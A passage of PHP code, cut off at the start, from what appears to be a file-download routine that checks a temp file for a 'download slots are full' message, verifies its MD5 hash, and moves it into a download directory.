($size <= 10000) { if (preg_match('/All free download slots are full/s', @file_get_contents($tmpfile))) { $error = $DLFILE_ERROR['ERROR_NO_FREE_SLUTS']; } } if ($md5 == strtolower(md5_file($tmpfile))) { $file->save('md5Verified', 1); } $newfilePath = $packetDownloadDir . '/' . $filename; rename($tmpfile, $newfilePath); if (file_exists($newfilePath)) { $retval = $newfilePath; } } if ($error) { $retval = (int) $error; } } unlink($tmp); } return $retval; }